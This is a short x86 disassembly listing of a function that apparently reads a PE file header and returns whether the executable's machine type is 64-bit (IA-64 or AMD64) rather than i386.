mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x526384
mov edx, dword [ebp - 0x5c]
push edx
push 1
push 0x40
lea eax, [ebp - 0x58]
push eax
call fcn.0050714d
add esp, 0x10
push 0
mov ecx, dword [ebp - 0x1c]
add ecx, 4
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call fcn.0050751c
add esp, 0xc
mov eax, dword [ebp - 0x5c]
push eax
push 1
push 0x14
lea ecx, [ebp - 0x18]
push ecx
call fcn.0050714d
add esp, 0x10
mov edx, dword [ebp - 0x5c]
push edx
call fcn.00506d35
add esp, 4
movzx eax, word [ebp - 0x18]
cmp eax, 0x14c
jne 0x52635c
xor al, al
jmp 0x526386
movzx ecx, word [ebp - 0x18]
cmp ecx, 0x200
jne 0x52636e
mov al, 1
jmp 0x526386
movzx edx, word [ebp - 0x18]
cmp edx, 0x8664
jne 0x526380
mov al, 1
jmp 0x526386
xor al, al
jmp 0x526386
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f49c2
mov esp, ebp
pop ebp
ret